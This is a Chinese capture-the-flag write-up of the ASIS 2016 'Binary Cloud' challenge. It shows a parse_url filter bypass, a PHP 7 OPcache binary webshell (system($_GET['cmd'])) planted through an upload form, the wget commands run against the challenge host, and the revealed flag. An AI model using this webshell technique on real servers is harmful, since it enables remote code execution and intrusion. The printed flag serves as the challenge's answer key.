Asis2016_Binary Cloud

2023-02-21 15:16:19 浏览数 (1)

上周的asis2016比赛中,有个很特别的题目叫Binary Cloud,而getshell的方法是前段时间的才爆出来的Binary Webshell Through OPcache in PHP 7,在实战环境中比较有趣~(~ ̄▽ ̄)~

题目实际没做出来当时,后来看了ctftime的wp http://corb3nik.github.io/asis 2016/Binary-Cloud/

收集信息

首先发现存在

代码语言:javascript复制
User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads

打开看到/uploads和/cache会爆forbidden,在debug页面我们发现了phpinfo() 我们可以看到php版本是php7.0.4

根据上面得到的信息,我们猜测OPcache是被允许的,而OPcache对应的位置就是robots.txt上对应的/cache

代码语言:javascript复制
opcache.file_cache=/home/binarycloud/www/cache

再翻翻看站内发现存在文件上传和文件包含,甚至可以通过文件包含来读取文件的源码

代码语言:javascript复制
<?php
function ew($haystack, $needle) {
    return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);
}

function filter_directory(){
  $data = parse_url($_SERVER['REQUEST_URI']);
  $filter = ["cache", "binarycloud"];
  foreach($filter as $f){
    if(preg_match("/".$f."/i", $data['query'])){
      die("Attack Detected");
    }
  }
}

function error($msg){
  die("<script>alert('$msg');history.go(-1);</script>");
}

filter_directory();

if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
  if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
  $name = preg_replace("/[^a-zA-Z0-9.]/", "", basename($_FILES['file']['name']));
        if(ew($name, ".php")) error("error");
  $filename = $_SERVER['QUERY_STRING'] . "/" . $name;
  if(file_exists($filename)) error("exists");
  if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){
    die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>");
  }else{
    error("error");
  }
}
?>
代码语言:javascript复制
<?php

define("__INTERNAL__", "TRUE");
if(debug_backtrace()) goto pitfall;

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <title>BinaryCloud &mdash; Upload your files, except PHP scripts!</title>
    <link href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <header class="navbar navbar-default navbar-fixed-top" role="banner">
        <div class="header container">
            <div class="navbar-header">
                <button class="navbar-toggle" type="button" data-toggle="collapse" data-target=".navbar-collapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                </button>
                <a href="/" class="navbar-brand">BinaryCloud</a>
            </div>
            <nav class="collapse navbar-collapse" role="navigation">
                <ul class="nav navbar-nav">
                    <li><a href="?page=upload">Upload</a></li>
                </ul>
            </nav>
        </div>
    </header>
    <div style="margin-bottom:30px;"></div>
    <div class="container">
<?php

$filter = ["compress.zlib", "glob", "data", "http", "ftp", "phar"];
foreach($filter as $f){
    stream_wrapper_unregister($f);
}
if(!$_GET) $_GET = Array("page" => NULL);
$page = ($_GET['page'] ? $_GET['page'] : "home");
@include($page . ".php");

?>
    </div>
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" type='text/javascript'></script>
</body>
</html>
<?php
pitfall:
?>

仔细阅读下源码,可以的到一些信息 1、首先我们发现我们无法上传.php文件,在包含时会自动补上.php 2、我们不能包含带有cache或者binaryload的链接 3、我们上传的文件名字会经过preg_replace()和basename()

结合前面的信息我们想到了我们可以通过注入.php.bin这样的方式getshell,也就是前面提到的Binary Webshell Through OPcache in PHP 7

bypass目录过滤

在upload.php我们看到

代码语言:javascript复制
function filter_directory(){
  $data = parse_url($_SERVER['REQUEST_URI']);
  $filter = ["cache", "binarycloud"];
  foreach($filter as $f){
    if(preg_match("/".$f."/i", $data['query'])){
      die("Attack Detected");
    }
  }
}

发现一个特殊的是parse_url($_SERVER['REQUEST_URI']) 这里也是没见过的黑科技 老外是这么说的 This function can be bypassed though, as parse_url takes a URL as a parameter. It does not deal well with URIs. 通过parse_url获取URL的参数有一点儿问题,他并不能很好的处理,如果我们传入的是 ///upload.php?cache这样的地址,然后parse_url()处理URL会返回false,那么后面的preg_match就不会匹配到任何字符串了。

通过Binary Webshell Through OPcache in PHP 7 getshell

首先原理我们需要先了解一下 http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/ wooyun有翻译的文章 http://drops.wooyun.org/web/15450

而现在我们的目标是通过重写debug.php、upload.php、index.php的缓存。

首先我们需要生成一个debug.php.bin,就是下面这个文件的编译版

代码语言:javascript复制
<?php
  system($_GET['cmd']);
?>

根据文章我们还需要计算出system_id 这个不错的脚本是 https://github.com/GoSecure/php7-opcache-override

代码语言:javascript复制
$ ./system_id_scraper.py https://binarycloud.asis-ctf.ir/debug.php
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea

需要跑一下phpinfo()的页面

然后我们在本地生成恶意的debug.php.bin文件,首先是用十六进制编辑器修改文件开头的systemid,上传 需要注意的是debug.php.bin的路径

代码语言:javascript复制
[cache location][system id][document root][debug.php.bin]

在这里的题目就是

代码语言:javascript复制
cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/banarycloud/www

之后我们访问https://binarycloud.asis-ctf.ir/debug.php就是我们的webshell了

代码语言:javascript复制
 wget -qO- https://binarycloud.asis-ctf.ir/debug.php?cmd="ls /"
WH4T_1S_7H3_FL4G
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
代码语言:javascript复制
$ wget -qO- https://binarycloud.asis-ctf.ir/debug.php?cmd="cat /WH4T_1S_7H3_FL4G"
ASIS{5e00f204374f9ce481acc97294eda1f0}

0 人点赞